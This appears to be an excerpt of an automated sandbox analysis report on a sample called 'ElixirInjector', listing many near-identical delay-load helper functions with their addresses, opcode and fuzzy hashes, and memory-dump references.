                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 8362d43a74ffaae3e7e82c653ea5d1b164baabb5a597d86c50bafabe373ccabc
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 8362d43a74ffaae3e7e82c653ea5d1b164baabb5a597d86c50bafabe373ccabc
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E291 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 2b7c05d344bda0adde255ef7de9989f69d89c6091f84c81f36da1160f779bb3b
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 2b7c05d344bda0adde255ef7de9989f69d89c6091f84c81f36da1160f779bb3b
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 23637477094d7eaba5cb8f66f7fcf631f73a243e09bb4d507b786de126df7ddd
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 23637477094d7eaba5cb8f66f7fcf631f73a243e09bb4d507b786de126df7ddd
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: d3d5ef16ee498218085d5c537226aefc87dbe4f45ae99f8d603d0029d32d3d09
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: d3d5ef16ee498218085d5c537226aefc87dbe4f45ae99f8d603d0029d32d3d09
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 32aebce1f91f259c7a579fc4dbe248350ababdb39eab15458a4c17e8e083578a
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 32aebce1f91f259c7a579fc4dbe248350ababdb39eab15458a4c17e8e083578a
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 4a304b04d417e8c6c0852992b9e5d50fd4c669f42cfbef4323163675cbd2ceae
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 4a304b04d417e8c6c0852992b9e5d50fd4c669f42cfbef4323163675cbd2ceae
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 7319f8ff2dee99554fea86e9152154be7e243a7df94ce27b8dec69bf2d2ba239
                                                                                              • Instruction ID: c8bf707cf97628dff80c2c9396d618b4a1d7286cc62fcc6718b00f11a4c4b224
                                                                                              • Opcode Fuzzy Hash: 7319f8ff2dee99554fea86e9152154be7e243a7df94ce27b8dec69bf2d2ba239
                                                                                              • Instruction Fuzzy Hash: 3FA001E62AA1627D3148A2527D06DBB1A1DD4C2B26332A52EF869A5481AC845C4538B3
                                                                                              Function 00F2E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: d77bcc610655a784a8ebd8244e88f3c6507c272664f00d219ed0817c52350916
                                                                                              • Instruction ID: f3cc6e7c4589db3fc2fb0ed7a69c573933dae7fae95d0d9aa93967164a3bd528
                                                                                              • Opcode Fuzzy Hash: d77bcc610655a784a8ebd8244e88f3c6507c272664f00d219ed0817c52350916
                                                                                              • Instruction Fuzzy Hash: C8A001E62AA162BC3148A2527D06DBB1A1DD4C6B62332A92EF85A95481A8845C4538B3
                                                                                              Function 00F2E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 7145fda05a9a714ea8a26bab726ca96f31a5f24f2468c1fb30d74cd8aa60e7a0
                                                                                              • Instruction ID: f3cc6e7c4589db3fc2fb0ed7a69c573933dae7fae95d0d9aa93967164a3bd528
                                                                                              • Opcode Fuzzy Hash: 7145fda05a9a714ea8a26bab726ca96f31a5f24f2468c1fb30d74cd8aa60e7a0
                                                                                              • Instruction Fuzzy Hash: C8A001E62AA162BC3148A2527D06DBB1A1DD4C6B62332A92EF85A95481A8845C4538B3
                                                                                              Function 00F2E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 32b2ac2cebba066b0fcc4fa50dbb0b7265e845db1f075042c8449f1f4d8c3e73
                                                                                              • Instruction ID: f3cc6e7c4589db3fc2fb0ed7a69c573933dae7fae95d0d9aa93967164a3bd528
                                                                                              • Opcode Fuzzy Hash: 32b2ac2cebba066b0fcc4fa50dbb0b7265e845db1f075042c8449f1f4d8c3e73
                                                                                              • Instruction Fuzzy Hash: C8A001E62AA162BC3148A2527D06DBB1A1DD4C6B62332A92EF85A95481A8845C4538B3
                                                                                              Function 00F2E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 88a7511e939152b2ed27f51af3503ad229c46b46084f6a1549e3512196c7a06b
                                                                                              • Instruction ID: f3cc6e7c4589db3fc2fb0ed7a69c573933dae7fae95d0d9aa93967164a3bd528
                                                                                              • Opcode Fuzzy Hash: 88a7511e939152b2ed27f51af3503ad229c46b46084f6a1549e3512196c7a06b
                                                                                              • Instruction Fuzzy Hash: C8A001E62AA162BC3148A2527D06DBB1A1DD4C6B62332A92EF85A95481A8845C4538B3
                                                                                              Function 00F2E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 26372cfd3330f2226f5aecbedc8a114f90945b4b9d310132e925cb399ddd2178
                                                                                              • Instruction ID: f3cc6e7c4589db3fc2fb0ed7a69c573933dae7fae95d0d9aa93967164a3bd528
                                                                                              • Opcode Fuzzy Hash: 26372cfd3330f2226f5aecbedc8a114f90945b4b9d310132e925cb399ddd2178
                                                                                              • Instruction Fuzzy Hash: C8A001E62AA162BC3148A2527D06DBB1A1DD4C6B62332A92EF85A95481A8845C4538B3
                                                                                              Function 00F2E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 5c4b4dbebcce285bc45cfd00a08c8a51bc2128b0c065b412a239c469edede5f2
                                                                                              • Instruction ID: e46abb56a49afd2c0d7e0cd60a8d42b4f5ec4b6a713f9489881b4273cb5c6518
                                                                                              • Opcode Fuzzy Hash: 5c4b4dbebcce285bc45cfd00a08c8a51bc2128b0c065b412a239c469edede5f2
                                                                                              • Instruction Fuzzy Hash: D7A011C22AA022BC300822A03C03C3B020CC0C2B20332A82EF80AC0080B888082838B2
                                                                                              Function 00F2E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: e83515f7806bd3b95ae3c534837a059aae0e715f9f8d0a98be5652bba5fe0dc8
                                                                                              • Instruction ID: e46abb56a49afd2c0d7e0cd60a8d42b4f5ec4b6a713f9489881b4273cb5c6518
                                                                                              • Opcode Fuzzy Hash: e83515f7806bd3b95ae3c534837a059aae0e715f9f8d0a98be5652bba5fe0dc8
                                                                                              • Instruction Fuzzy Hash: D7A011C22AA022BC300822A03C03C3B020CC0C2B20332A82EF80AC0080B888082838B2
                                                                                              Function 00F2E573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
